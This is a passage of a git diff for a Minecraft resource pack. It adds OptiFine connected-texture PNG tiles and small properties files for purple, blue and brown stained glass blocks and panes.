b/src/assets/minecraft/optifine/ctm/default/10_glass_purple/21.png new file mode 100644 index 00000000..497ea3b1 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/10_glass_purple/21.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/10_glass_purple/22.png b/src/assets/minecraft/optifine/ctm/default/10_glass_purple/22.png new file mode 100644 index 00000000..97cefde2 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/10_glass_purple/22.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/10_glass_purple/23.png b/src/assets/minecraft/optifine/ctm/default/10_glass_purple/23.png new file mode 100644 index 00000000..b1513d85 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/10_glass_purple/23.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/10_glass_purple/24.png b/src/assets/minecraft/optifine/ctm/default/10_glass_purple/24.png new file mode 100644 index 00000000..b778e783 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/10_glass_purple/24.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/10_glass_purple/25.png b/src/assets/minecraft/optifine/ctm/default/10_glass_purple/25.png new file mode 100644 index 00000000..4f08ba17 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/10_glass_purple/25.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/10_glass_purple/26.png b/src/assets/minecraft/optifine/ctm/default/10_glass_purple/26.png new file mode 100644 index 00000000..0c34f32f Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/10_glass_purple/26.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/10_glass_purple/27.png b/src/assets/minecraft/optifine/ctm/default/10_glass_purple/27.png new file mode 100644 index 00000000..f6fdd73c Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/10_glass_purple/27.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/10_glass_purple/28.png b/src/assets/minecraft/optifine/ctm/default/10_glass_purple/28.png new file mode 100644 index 00000000..9794ad2b Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/10_glass_purple/28.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/10_glass_purple/29.png b/src/assets/minecraft/optifine/ctm/default/10_glass_purple/29.png new file mode 100644 index 00000000..65ee3e1a Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/10_glass_purple/29.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/10_glass_purple/3.png b/src/assets/minecraft/optifine/ctm/default/10_glass_purple/3.png new file mode 100644 index 00000000..c9842223 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/10_glass_purple/3.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/10_glass_purple/30.png b/src/assets/minecraft/optifine/ctm/default/10_glass_purple/30.png new file mode 100644 index 00000000..dd4f3aed Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/10_glass_purple/30.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/10_glass_purple/31.png b/src/assets/minecraft/optifine/ctm/default/10_glass_purple/31.png new file mode 100644 index 00000000..c510a472 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/10_glass_purple/31.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/10_glass_purple/32.png b/src/assets/minecraft/optifine/ctm/default/10_glass_purple/32.png new file mode 100644 index 00000000..123850af Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/10_glass_purple/32.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/10_glass_purple/33.png b/src/assets/minecraft/optifine/ctm/default/10_glass_purple/33.png new file mode 100644 index 00000000..ccdab82c Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/10_glass_purple/33.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/10_glass_purple/34.png b/src/assets/minecraft/optifine/ctm/default/10_glass_purple/34.png new file mode 100644 index 00000000..cf4a32dd Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/10_glass_purple/34.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/10_glass_purple/35.png b/src/assets/minecraft/optifine/ctm/default/10_glass_purple/35.png new file mode 100644 index 00000000..fd91c441 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/10_glass_purple/35.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/10_glass_purple/36.png b/src/assets/minecraft/optifine/ctm/default/10_glass_purple/36.png new file mode 100644 index 00000000..e8b5660f Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/10_glass_purple/36.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/10_glass_purple/37.png b/src/assets/minecraft/optifine/ctm/default/10_glass_purple/37.png new file mode 100644 index 00000000..65a9bc3b Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/10_glass_purple/37.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/10_glass_purple/38.png b/src/assets/minecraft/optifine/ctm/default/10_glass_purple/38.png new file mode 100644 index 00000000..6e32f2ad Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/10_glass_purple/38.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/10_glass_purple/39.png b/src/assets/minecraft/optifine/ctm/default/10_glass_purple/39.png new file mode 100644 index 00000000..099fcb13 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/10_glass_purple/39.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/10_glass_purple/4.png b/src/assets/minecraft/optifine/ctm/default/10_glass_purple/4.png new file mode 100644 index 00000000..c1f6bfe0 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/10_glass_purple/4.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/10_glass_purple/40.png b/src/assets/minecraft/optifine/ctm/default/10_glass_purple/40.png new file mode 100644 index 00000000..b176bd55 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/10_glass_purple/40.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/10_glass_purple/41.png b/src/assets/minecraft/optifine/ctm/default/10_glass_purple/41.png new file mode 100644 index 00000000..c9b717ef Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/10_glass_purple/41.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/10_glass_purple/42.png b/src/assets/minecraft/optifine/ctm/default/10_glass_purple/42.png new file mode 100644 index 00000000..df3a4f89 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/10_glass_purple/42.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/10_glass_purple/43.png b/src/assets/minecraft/optifine/ctm/default/10_glass_purple/43.png new file mode 100644 index 00000000..525931ac Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/10_glass_purple/43.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/10_glass_purple/44.png b/src/assets/minecraft/optifine/ctm/default/10_glass_purple/44.png new file mode 100644 index 00000000..508155d0 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/10_glass_purple/44.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/10_glass_purple/45.png b/src/assets/minecraft/optifine/ctm/default/10_glass_purple/45.png new file mode 100644 index 00000000..d8a8f850 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/10_glass_purple/45.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/10_glass_purple/46.png b/src/assets/minecraft/optifine/ctm/default/10_glass_purple/46.png new file mode 100644 index 00000000..6ca24dbf Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/10_glass_purple/46.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/10_glass_purple/5.png b/src/assets/minecraft/optifine/ctm/default/10_glass_purple/5.png new file mode 100644 index 00000000..490cfdc0 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/10_glass_purple/5.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/10_glass_purple/6.png b/src/assets/minecraft/optifine/ctm/default/10_glass_purple/6.png new file mode 100644 index 00000000..6a3b94d3 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/10_glass_purple/6.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/10_glass_purple/7.png b/src/assets/minecraft/optifine/ctm/default/10_glass_purple/7.png new file mode 100644 index 00000000..872587bc Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/10_glass_purple/7.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/10_glass_purple/8.png b/src/assets/minecraft/optifine/ctm/default/10_glass_purple/8.png new file mode 100644 index 00000000..a4137f6e Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/10_glass_purple/8.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/10_glass_purple/9.png b/src/assets/minecraft/optifine/ctm/default/10_glass_purple/9.png new file mode 100644 index 00000000..b8fef741 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/10_glass_purple/9.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/10_glass_purple/glass_pane_purple.properties b/src/assets/minecraft/optifine/ctm/default/10_glass_purple/glass_pane_purple.properties new file mode 100644 index 00000000..d69064af --- /dev/null +++ b/src/assets/minecraft/optifine/ctm/default/10_glass_purple/glass_pane_purple.properties @@ -0,0 +1,6 @@ +# Stained glass pane purple +matchBlocks=purple_stained_glass_pane +connect=block +method=ctm +faces=sides +tiles=0-46 \ No newline at end of file diff --git a/src/assets/minecraft/optifine/ctm/default/10_glass_purple/glass_purple.properties b/src/assets/minecraft/optifine/ctm/default/10_glass_purple/glass_purple.properties new file mode 100644 index 00000000..43d58e75 --- /dev/null +++ b/src/assets/minecraft/optifine/ctm/default/10_glass_purple/glass_purple.properties @@ -0,0 +1,5 @@ +# Stained glass purple +matchBlocks=purple_stained_glass +connect=block +method=ctm +tiles=0-46 \ No newline at end of file diff --git a/src/assets/minecraft/optifine/ctm/default/11_glass_blue/0.png b/src/assets/minecraft/optifine/ctm/default/11_glass_blue/0.png new file mode 100644 index 00000000..0a02ddef Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/11_glass_blue/0.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/11_glass_blue/1.png b/src/assets/minecraft/optifine/ctm/default/11_glass_blue/1.png new file mode 100644 index 00000000..3154da53 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/11_glass_blue/1.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/11_glass_blue/10.png b/src/assets/minecraft/optifine/ctm/default/11_glass_blue/10.png new file mode 100644 index 00000000..14469d1f Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/11_glass_blue/10.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/11_glass_blue/11.png b/src/assets/minecraft/optifine/ctm/default/11_glass_blue/11.png new file mode 100644 index 00000000..7b09fdaf Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/11_glass_blue/11.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/11_glass_blue/12.png b/src/assets/minecraft/optifine/ctm/default/11_glass_blue/12.png new file mode 100644 index 00000000..327b066d Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/11_glass_blue/12.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/11_glass_blue/13.png b/src/assets/minecraft/optifine/ctm/default/11_glass_blue/13.png new file mode 100644 index 00000000..e5e1c355 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/11_glass_blue/13.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/11_glass_blue/14.png b/src/assets/minecraft/optifine/ctm/default/11_glass_blue/14.png new file mode 100644 index 00000000..27568f9c Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/11_glass_blue/14.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/11_glass_blue/15.png b/src/assets/minecraft/optifine/ctm/default/11_glass_blue/15.png new file mode 100644 index 00000000..f8cf98ac Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/11_glass_blue/15.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/11_glass_blue/16.png b/src/assets/minecraft/optifine/ctm/default/11_glass_blue/16.png new file mode 100644 index 00000000..876c4017 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/11_glass_blue/16.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/11_glass_blue/17.png b/src/assets/minecraft/optifine/ctm/default/11_glass_blue/17.png new file mode 100644 index 00000000..e0f51a52 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/11_glass_blue/17.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/11_glass_blue/18.png b/src/assets/minecraft/optifine/ctm/default/11_glass_blue/18.png new file mode 100644 index 00000000..851ad4af Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/11_glass_blue/18.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/11_glass_blue/19.png b/src/assets/minecraft/optifine/ctm/default/11_glass_blue/19.png new file mode 100644 index 00000000..2a3eefcc Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/11_glass_blue/19.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/11_glass_blue/2.png b/src/assets/minecraft/optifine/ctm/default/11_glass_blue/2.png new file mode 100644 index 00000000..844acd00 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/11_glass_blue/2.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/11_glass_blue/20.png b/src/assets/minecraft/optifine/ctm/default/11_glass_blue/20.png new file mode 100644 index 00000000..92598536 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/11_glass_blue/20.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/11_glass_blue/21.png b/src/assets/minecraft/optifine/ctm/default/11_glass_blue/21.png new file mode 100644 index 00000000..7ef6b21d Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/11_glass_blue/21.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/11_glass_blue/22.png b/src/assets/minecraft/optifine/ctm/default/11_glass_blue/22.png new file mode 100644 index 00000000..8c2ae512 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/11_glass_blue/22.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/11_glass_blue/23.png b/src/assets/minecraft/optifine/ctm/default/11_glass_blue/23.png new file mode 100644 index 00000000..e3808205 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/11_glass_blue/23.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/11_glass_blue/24.png b/src/assets/minecraft/optifine/ctm/default/11_glass_blue/24.png new file mode 100644 index 00000000..5792391f Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/11_glass_blue/24.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/11_glass_blue/25.png b/src/assets/minecraft/optifine/ctm/default/11_glass_blue/25.png new file mode 100644 index 00000000..efd7aa43 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/11_glass_blue/25.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/11_glass_blue/26.png b/src/assets/minecraft/optifine/ctm/default/11_glass_blue/26.png new file mode 100644 index 00000000..24d0fc59 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/11_glass_blue/26.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/11_glass_blue/27.png b/src/assets/minecraft/optifine/ctm/default/11_glass_blue/27.png new file mode 100644 index 00000000..b7e0f012 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/11_glass_blue/27.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/11_glass_blue/28.png b/src/assets/minecraft/optifine/ctm/default/11_glass_blue/28.png new file mode 100644 index 00000000..08ecc9a8 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/11_glass_blue/28.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/11_glass_blue/29.png b/src/assets/minecraft/optifine/ctm/default/11_glass_blue/29.png new file mode 100644 index 00000000..2cf14be5 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/11_glass_blue/29.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/11_glass_blue/3.png b/src/assets/minecraft/optifine/ctm/default/11_glass_blue/3.png new file mode 100644 index 00000000..b0e59041 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/11_glass_blue/3.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/11_glass_blue/30.png b/src/assets/minecraft/optifine/ctm/default/11_glass_blue/30.png new file mode 100644 index 00000000..fdc64732 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/11_glass_blue/30.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/11_glass_blue/31.png b/src/assets/minecraft/optifine/ctm/default/11_glass_blue/31.png new file mode 100644 index 00000000..b4a6ecc5 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/11_glass_blue/31.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/11_glass_blue/32.png b/src/assets/minecraft/optifine/ctm/default/11_glass_blue/32.png new file mode 100644 index 00000000..de5bbf3a Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/11_glass_blue/32.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/11_glass_blue/33.png b/src/assets/minecraft/optifine/ctm/default/11_glass_blue/33.png new file mode 100644 index 00000000..35c78e26 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/11_glass_blue/33.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/11_glass_blue/34.png b/src/assets/minecraft/optifine/ctm/default/11_glass_blue/34.png new file mode 100644 index 00000000..5b881756 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/11_glass_blue/34.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/11_glass_blue/35.png b/src/assets/minecraft/optifine/ctm/default/11_glass_blue/35.png new file mode 100644 index 00000000..4bf4bb13 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/11_glass_blue/35.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/11_glass_blue/36.png b/src/assets/minecraft/optifine/ctm/default/11_glass_blue/36.png new file mode 100644 index 00000000..804603b0 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/11_glass_blue/36.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/11_glass_blue/37.png b/src/assets/minecraft/optifine/ctm/default/11_glass_blue/37.png new file mode 100644 index 00000000..3f2e29fa Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/11_glass_blue/37.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/11_glass_blue/38.png b/src/assets/minecraft/optifine/ctm/default/11_glass_blue/38.png new file mode 100644 index 00000000..d4ac5e00 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/11_glass_blue/38.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/11_glass_blue/39.png b/src/assets/minecraft/optifine/ctm/default/11_glass_blue/39.png new file mode 100644 index 00000000..e98ab39d Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/11_glass_blue/39.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/11_glass_blue/4.png b/src/assets/minecraft/optifine/ctm/default/11_glass_blue/4.png new file mode 100644 index 00000000..1e8e9300 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/11_glass_blue/4.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/11_glass_blue/40.png b/src/assets/minecraft/optifine/ctm/default/11_glass_blue/40.png new file mode 100644 index 00000000..0c9c42a1 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/11_glass_blue/40.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/11_glass_blue/41.png b/src/assets/minecraft/optifine/ctm/default/11_glass_blue/41.png new file mode 100644 index 00000000..a109abfa Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/11_glass_blue/41.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/11_glass_blue/42.png b/src/assets/minecraft/optifine/ctm/default/11_glass_blue/42.png new file mode 100644 index 00000000..462c1cbd Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/11_glass_blue/42.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/11_glass_blue/43.png b/src/assets/minecraft/optifine/ctm/default/11_glass_blue/43.png new file mode 100644 index 00000000..4a342b1a Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/11_glass_blue/43.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/11_glass_blue/44.png b/src/assets/minecraft/optifine/ctm/default/11_glass_blue/44.png new file mode 100644 index 00000000..ebff86ea Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/11_glass_blue/44.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/11_glass_blue/45.png b/src/assets/minecraft/optifine/ctm/default/11_glass_blue/45.png new file mode 100644 index 00000000..8d29f55d Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/11_glass_blue/45.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/11_glass_blue/46.png b/src/assets/minecraft/optifine/ctm/default/11_glass_blue/46.png new file mode 100644 index 00000000..c802379e Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/11_glass_blue/46.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/11_glass_blue/5.png b/src/assets/minecraft/optifine/ctm/default/11_glass_blue/5.png new file mode 100644 index 00000000..4cc96bb7 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/11_glass_blue/5.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/11_glass_blue/6.png b/src/assets/minecraft/optifine/ctm/default/11_glass_blue/6.png new file mode 100644 index 00000000..0f144aa1 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/11_glass_blue/6.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/11_glass_blue/7.png b/src/assets/minecraft/optifine/ctm/default/11_glass_blue/7.png new file mode 100644 index 00000000..20677a47 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/11_glass_blue/7.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/11_glass_blue/8.png b/src/assets/minecraft/optifine/ctm/default/11_glass_blue/8.png new file mode 100644 index 00000000..ac50d1c1 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/11_glass_blue/8.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/11_glass_blue/9.png b/src/assets/minecraft/optifine/ctm/default/11_glass_blue/9.png new file mode 100644 index 00000000..64511153 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/11_glass_blue/9.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/11_glass_blue/glass_blue.properties b/src/assets/minecraft/optifine/ctm/default/11_glass_blue/glass_blue.properties new file mode 100644 index 00000000..9257c425 --- /dev/null +++ b/src/assets/minecraft/optifine/ctm/default/11_glass_blue/glass_blue.properties @@ -0,0 +1,5 @@ +# Stained glass blue +matchBlocks=blue_stained_glass +connect=block +method=ctm +tiles=0-46 \ No newline at end of file diff --git a/src/assets/minecraft/optifine/ctm/default/11_glass_blue/glass_pane_blue.properties b/src/assets/minecraft/optifine/ctm/default/11_glass_blue/glass_pane_blue.properties new file mode 100644 index 00000000..fbe462c2 --- /dev/null +++ b/src/assets/minecraft/optifine/ctm/default/11_glass_blue/glass_pane_blue.properties @@ -0,0 +1,6 @@ +# Stained glass pane blue +matchBlocks=blue_stained_glass_pane +connect=block +method=ctm +faces=sides +tiles=0-46 \ No newline at end of file diff --git a/src/assets/minecraft/optifine/ctm/default/12_glass_brown/0.png b/src/assets/minecraft/optifine/ctm/default/12_glass_brown/0.png new file mode 100644 index 00000000..a5bc1d50 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/12_glass_brown/0.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/12_glass_brown/1.png b/src/assets/minecraft/optifine/ctm/default/12_glass_brown/1.png new file mode 100644 index 00000000..d685ba98 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/12_glass_brown/1.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/12_glass_brown/10.png b/src/assets/minecraft/optifine/ctm/default/12_glass_brown/10.png new file mode 100644 index 00000000..0be21268 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/12_glass_brown/10.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/12_glass_brown/11.png b/src/assets/minecraft/optifine/ctm/default/12_glass_brown/11.png new file mode 100644 index 00000000..b691f272 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/12_glass_brown/11.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/12_glass_brown/12.png b/src/assets/minecraft/optifine/ctm/default/12_glass_brown/12.png new file mode 100644 index 00000000..fe04a2a7 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/12_glass_brown/12.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/12_glass_brown/13.png b/src/assets/minecraft/optifine/ctm/default/12_glass_brown/13.png new file mode 100644 index 00000000..03ab28b2 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/12_glass_brown/13.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/12_glass_brown/14.png b/src/assets/minecraft/optifine/ctm/default/12_glass_brown/14.png new file mode 100644 index 00000000..e4458c1d Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/12_glass_brown/14.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/12_glass_brown/15.png b/src/assets/minecraft/optifine/ctm/default/12_glass_brown/15.png new file mode 100644 index 00000000..b9b94c1f Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/12_glass_brown/15.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/12_glass_brown/16.png b/src/assets/minecraft/optifine/ctm/default/12_glass_brown/16.png new file mode 100644 index 00000000..3fb42425 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/12_glass_brown/16.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/12_glass_brown/17.png b/src/assets/minecraft/optifine/ctm/default/12_glass_brown/17.png new file mode 100644 index 00000000..2632cbba Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/12_glass_brown/17.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/12_glass_brown/18.png b/src/assets/minecraft/optifine/ctm/default/12_glass_brown/18.png new file mode 100644 index 00000000..435b5fc2 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/12_glass_brown/18.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/12_glass_brown/19.png b/src/assets/minecraft/optifine/ctm/default/12_glass_brown/19.png new file mode 100644 index 00000000..83b0061e Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/12_glass_brown/19.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/12_glass_brown/2.png b/src/assets/minecraft/optifine/ctm/default/12_glass_brown/2.png new file mode 100644 index 00000000..d2b30b5b Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/12_glass_brown/2.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/12_glass_brown/20.png b/src/assets/minecraft/optifine/ctm/default/12_glass_brown/20.png new file mode 100644 index 00000000..9b40e084 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/12_glass_brown/20.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/12_glass_brown/21.png b/src/assets/minecraft/optifine/ctm/default/12_glass_brown/21.png new file mode 100644 index 00000000..c6cd91ca Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/12_glass_brown/21.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/12_glass_brown/22.png b/src/assets/minecraft/optifine/ctm/default/12_glass_brown/22.png new file mode 100644 index 00000000..16672746 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/12_glass_brown/22.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/12_glass_brown/23.png b/src/assets/minecraft/optifine/ctm/default/12_glass_brown/23.png new file mode 100644 index 00000000..de2936b2 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/12_glass_brown/23.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/12_glass_brown/24.png b/src/assets/minecraft/optifine/ctm/default/12_glass_brown/24.png new file mode 100644 index 00000000..efb8557d Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/12_glass_brown/24.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/12_glass_brown/25.png b/src/assets/minecraft/optifine/ctm/default/12_glass_brown/25.png new file mode 100644 index 00000000..4b66e759 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/12_glass_brown/25.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/12_glass_brown/26.png b/src/assets/minecraft/optifine/ctm/default/12_glass_brown/26.png new file mode 100644 index 00000000..d6fc4f65 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/12_glass_brown/26.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/12_glass_brown/27.png b/src/assets/minecraft/optifine/ctm/default/12_glass_brown/27.png new file mode 100644 index 00000000..83b370ff Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/12_glass_brown/27.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/12_glass_brown/28.png b/src/assets/minecraft/optifine/ctm/default/12_glass_brown/28.png new file mode 100644 index 00000000..67d95e6e Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/12_glass_brown/28.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/12_glass_brown/29.png b/src/assets/minecraft/optifine/ctm/default/12_glass_brown/29.png new file mode 100644 index 00000000..b6e07a74 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/12_glass_brown/29.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/12_glass_brown/3.png b/src/assets/minecraft/optifine/ctm/default/12_glass_brown/3.png new file mode 100644 index 00000000..5ac032c4 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/12_glass_brown/3.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/12_glass_brown/30.png 